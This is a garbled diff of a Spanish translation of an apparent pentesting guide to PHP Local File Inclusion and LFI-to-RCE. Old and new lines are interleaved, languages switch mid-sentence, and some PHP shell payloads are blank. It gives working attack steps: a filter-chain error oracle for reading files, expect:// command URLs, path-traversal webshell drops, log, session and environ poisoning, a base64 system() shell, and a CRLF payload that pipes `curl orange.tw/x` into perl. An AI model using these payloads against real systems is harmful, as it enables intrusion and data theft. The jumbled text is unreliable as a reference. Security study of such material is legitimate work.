cambiar el orden de los chars y poner en la primera posición otras letras del texto. -- Y para poder obtener **más datos** la idea es **generar 2 bytes de junk data al inicio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para que haga **pivot con los siguientes 2 bytes**, y **eliminar los datos hasta los junk data** (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta alcanzar el byte deseado para leak. +- Use the codec **`UCS-4LE`** to leave leading character of the text at the beginning and make the size of string increases exponentially. +- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error** +- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex. +- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beginning of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error. +- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. +- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range). +- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number. +- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text. +- And in order to be able to obtain **más datos** the idea is to **generar 2 bytes de datos basura al principio** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot con los siguientes 2 bytes**, and **eliminar los datos hasta los datos basura** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the desired bit to leak. -En el post también fue leaked una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd @@ -298,12 +298,12 @@ This wrapper allows to access file descriptors that the process has open. Potent echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **file descriptors 0, 1 and 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque) +También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque) ### zip:// and rar:// Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\ -Para poder abusar del protocolo rar, este **debe activarse específicamente**. +Para poder abusar del protocolo rar **debe ser activado específicamente**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -332,7 +332,7 @@ Ten en cuenta que este protocolo está restringido por las configuraciones de ph ### expect:// -Expect tiene que estar activado. Puedes ejecutar código usando esto: +Expect debe estar activado. Puedes ejecutar código usando esto: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data " [!WARNING] -> Esta técnica es relevante en casos donde controlas la **ruta de archivo** de una **PHP function** que va a **acceder a un archivo** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) aunque el contenido no se muestre. +> Esta técnica es relevante en casos donde **controlas** la **file path** de una **PHP function** que **access a file** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) ya que el contenido no se muestra. -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. +En [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede abusarse vía PHP filter para **exfiltrate the content of a file via an error oracle**. -As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**. +En resumen, la técnica usa la **"UCS-4LE" encoding** para hacer que el contenido de un archivo sea tan **big** que la **PHP function opening** el archivo provocará un **error**. -Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**. +Luego, para leak the first char se usa el filter **`dechunk`** junto con otros como **base64** o **rot13**, y finalmente los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** se usan para **place other chars at the beggining and leak them**. -**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo objetivo de solo lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Para los detalles técnicos revisa el post mencionado! +Para los detalles técnicos consulta el post mencionado! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. +Cuando el código del lado del servidor que ingiere/sube archivos construye la ruta de destino usando datos controlados por el usuario (p. ej., un filename o URL) sin canonicalizar y validar, los segmentos `..` y las rutas absolutas pueden escapar del directorio previsto y causar una escritura arbitraria de archivos. Si puedes colocar el payload bajo un directorio expuesto en la web, normalmente obtendrás RCE no autenticada al desplegar una webshell. -Typical exploitation workflow: -- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). -- Determine web-exposed directories. Common examples: +Flujo típico de explotación: +- Identificar una primitive de escritura en un endpoint o background worker que acepte un path/filename y escriba contenido en disco (p. ej., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). +- Determinar directorios expuestos en la web. Ejemplos comunes: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content. -- Browse to the dropped payload and execute commands. +- Construir una ruta de traversal que salga del directorio de almacenamiento previsto hacia el webroot, e incluir el contenido de tu webshell. +- Accede al payload dejado y ejecuta comandos. -Notes: -- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. -- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw. +Notas: +- El servicio vulnerable que realiza la escritura puede escuchar en un puerto no HTTP (p. ej., un JMF XML listener en TCP 4004). El portal web principal (otro puerto) servirá más tarde tu payload. +- En stacks Java, estas escrituras de archivos a menudo se implementan con concatenación simple de `File`/`Paths`. La falta de canonicalización/allow-listing es la falla principal. -Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): +Ejemplo genérico estilo XML/JMF (los esquemas de producto varían – el DOCTYPE/body wrapper es irrelevante para el traversal): ```xml @@ -466,26 +466,26 @@ in.transferTo(out); ``` -Hardening that defeats this class of bugs: -- Resuelve a una ruta canónica y asegúrate de que sea descendiente de un directorio base permitido. -- Rechaza cualquier ruta que contenga `..`, raíces absolutas, o letras de unidad; prefiere nombres de archivo generados. -- Ejecuta el writer con una cuenta de bajo privilegio y separa los directorios de escritura de las raíces servidas. +Medidas de hardening que mitigan esta clase de fallos: +- Resolver a una ruta canónica y verificar que sea descendiente de un directorio base en la lista de permitidos. +- Rechazar cualquier ruta que contenga `..`, raíces absolutas, o letras de unidad; preferir nombres de archivo generados. +- Ejecutar el writer con una cuenta de bajos privilegios y segregar los directorios de escritura de los roots servidos. ## Remote File Inclusion -Explained previously, [**follow this link**](#remote-file-inclusion). +Explicado anteriormente, [**sigue este enlace**](#remote-file-inclusion). ### Via Apache/Nginx log file -Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, insertar en el **user agent** o en un **GET parameter** un php shell como **``** e incluir ese archivo +Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, insertar en el **user agent** o en un **parámetro GET** un php shell como **``** e incluir ese archivo > [!WARNING] -> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles serán modificadas por la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**. +> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se convertirán en la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**. > > Además, asegúrate de **escribir correctamente el payload** o PHP fallará cada vez que intente cargar el archivo de logs y no tendrás una segunda oportunidad. -Esto también se podría hacer en otros logs pero **ten cuidado,** el código dentro de los logs podría estar URL encoded y eso podría destruir el Shell. El header **authorisation "basic"** contiene "user:password" en Base64 y se decodifica dentro de los logs. El PHPShell podría ser insertado dentro de este header.\ -Otros posibles log paths: +Esto también puede hacerse en otros logs pero **ten cuidado,** el código dentro de los logs podría estar codificado en URL y eso podría destruir el Shell. El encabezado **authorisation "basic"** contiene "user:password" en Base64 y se decodifica dentro de los logs. El PHPShell podría insertarse dentro de este encabezado.\ +Otros posibles paths de logs: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -499,44 +499,44 @@ Otros posibles log paths: ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### Vía Email +### Vía correo electrónico -**Enviar un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `` e intenta incluir el archivo de correo del usuario con una ruta como **`/var/mail/`** o **`/var/spool/mail/`** +**Envía un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `` e intenta incluirlo en el correo del usuario con una ruta como **`/var/mail/`** o **`/var/spool/mail/`** -### Vía /proc/\*/fd/\* +### A través de /proc/*/fd/* 1. Sube muchas shells (por ejemplo: 100) -2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (can be brute forced) y $FD el file descriptor (can be brute forced too) +2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser brute forced) y $FD = descriptor de archivo (también puede ser brute forced) -### Vía /proc/self/environ +### A través de /proc/self/environ -Como en un archivo de log, envía el payload en el User-Agent; se reflejará dentro del archivo /proc/self/environ +Como en un archivo de log, envía el payload en el User-Agent; será reflejado dentro del archivo /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Mediante upload -Si puedes upload un archivo, simplemente inyecta el shell payload en él (p. ej.: ``). +Si puedes upload un archivo, simplemente inyecta el shell payload en él (e.g : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf +Para mantener el archivo legible es mejor inyectarlo en los metadatos de las imágenes/doc/pdf -### Vía subida de archivo ZIP +### Mediante la subida de un archivo ZIP -Sube un archivo ZIP que contenga un PHP shell comprimido y accede a: +Sube un archivo ZIP que contenga un PHP shell comprimido y accede: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Mediante PHP sessions -Comprueba si el sitio web usa PHP Session (PHPSESSID) +Comprueba si el sitio web utiliza PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -En PHP, estas sesiones se almacenan en los archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ +En PHP estas sesiones se almacenan en _/var/lib/php5/sess\\_\[PHPSESSID]\_ archivos ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -551,104 +551,104 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ``` ### Vía ssh -Si ssh está activo, verifica qué usuario se está usando (/proc/self/status & /etc/passwd) y intenta acceder a **\/.ssh/id_rsa** +Si ssh está activo, verifica qué usuario se está usando (/proc/self/status & /etc/passwd) e intenta acceder a **\/.ssh/id_rsa** -### **Vía** **vsftpd** _**logs**_ +### **Vía** **vsftpd** _**registros**_ -Los logs del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario donde existe una vulnerabilidad de Local File Inclusion (LFI), y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos: +Los registros del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario en el que exista una vulnerabilidad de Local File Inclusion (LFI), y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos: -1. Inyecta un payload PHP en el campo username durante el proceso de login. -2. Después de la inyección, utiliza la LFI para recuperar los logs del servidor desde _**/var/log/vsftpd.log**_. +1. Inyecta un PHP payload en el campo de nombre de usuario durante el proceso de inicio de sesión. +2. Tras la inyección, utiliza la LFI para recuperar los registros del servidor desde _**/var/log/vsftpd.log**_. -### Vía php base64 filter (using base64) +### Vía php base64 filter (usando base64) -As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload: +Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, PHP base64 filter simplemente ignora lo que no es base64. Puedes usar eso para bypass la verificación de la extensión de archivo: si suministras base64 que termina con ".php", simplemente ignoraría el "." y concatenaría "php" al base64. Aquí hay un ejemplo de payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Vía php filters (no se necesita archivo) +### Mediante php filters (no se necesita archivo) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters to generate arbitrary content** como salida. Lo que básicamente significa que puedes **generate arbitrary php code** para el include **without needing to write** it en un archivo. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### Vía segmentation fault +### Mediante segmentation fault -**Sube** un archivo que será almacenado como **temporal** en `/tmp`, luego en la **misma request** provoca un **segmentation fault**, y entonces el **archivo temporal no será eliminado** y podrás buscarlo. +**Upload** un archivo que será almacenado como **temporary** en `/tmp`, luego en la **same request,** provoca un **segmentation fault**, y entonces el **temporary file won't be deleted** y puedes buscarlo. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Vía Nginx temp file storage +### Mediante Nginx temp file storage -Si encontraste una **Local File Inclusion** y **Nginx** está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica: +Si encuentras una **Local File Inclusion** y **Nginx** está ejecutándose frente a PHP podrías obtener RCE con la siguiente técnica: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### Vía PHP_SESSION_UPLOAD_PROGRESS +### Mediante PHP_SESSION_UPLOAD_PROGRESS -Si encontraste una **Local File Inclusion** incluso si **no tienes sesión** y `session.auto_start` está en `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión por ti**. Podrías abusar de esto para obtener RCE: +Si encuentras una **Local File Inclusion** incluso si **no tienes una session** y `session.auto_start` está `Off`. Si provees el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **enable the session for you**. Podrías abusar de esto para obtener RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Vía temp file uploads en Windows +### Mediante temp file uploads in Windows -Si encontraste una **Local File Inclusion** y el servidor está ejecutándose en **Windows**, podrías obtener RCE: +Si encuentras una **Local File Inclusion** y el servidor está ejecutándose en **Windows** podrías conseguir RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### Vía `pearcmd.php` + URL args +### Mediante `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en php docker images. Moreover, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de URL no tiene un `=`, debería usarse como argumento. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -La siguiente request crea un archivo en `/tmp/hello.php` con el contenido ``: +The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Lo siguiente abusa de una vuln CRLF para obtener RCE (desde [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Lo siguiente abusa de una CRLF vuln para obtener RCE (desde [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### Mediante phpinfo() (file_uploads = on) +### A través de phpinfo() (file_uploads = on) -Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on, puedes obtener RCE: +Si encontraste un **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on, puedes obtener RCE: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### Mediante compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure +### A través de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Si encontraste una **Local File Inclusion** y puedes **exfiltrar la ruta** del archivo temporal PERO el **servidor** está **comprobando** si el **archivo a incluir tiene marcas PHP**, puedes intentar **evadir esa comprobación** con esta **Race Condition**: +Si encontraste un **Local File Inclusion** y **puedes exfiltrate the path** del archivo temporal PERO el **server** está comprobando si el **archivo a incluir tiene marcas PHP**, puedes intentar **bypass that check** con esta **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Mediante eternal waiting + bruteforce +### A través de eternal waiting + bruteforce -Si puedes abusar del LFI para **upload temporary files** y hacer que el servidor **hang** la ejecución de PHP, podrías entonces **brute force filenames during hours** para encontrar el archivo temporal: +Si puedes abusar del LFI para **subir archivos temporales** y hacer que el server **cuelgue** la ejecución de PHP, podrías entonces **brute force nombres de archivo durante horas** para encontrar el archivo temporal: {{#ref}} @@ -659,12 +659,13 @@ lfi2rce-via-eternal-waiting.md Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo 2 veces para provocar ese error). -**No sé cómo puede ser útil esto, pero podría serlo.**\ -_Incluso si provocas un PHP Fatal Error, los archivos temporales de PHP subidos se eliminan._ +**No sé cuán útil es esto, pero podría serlo.**\ +_Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos son eliminados._
-## Referencias + +## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)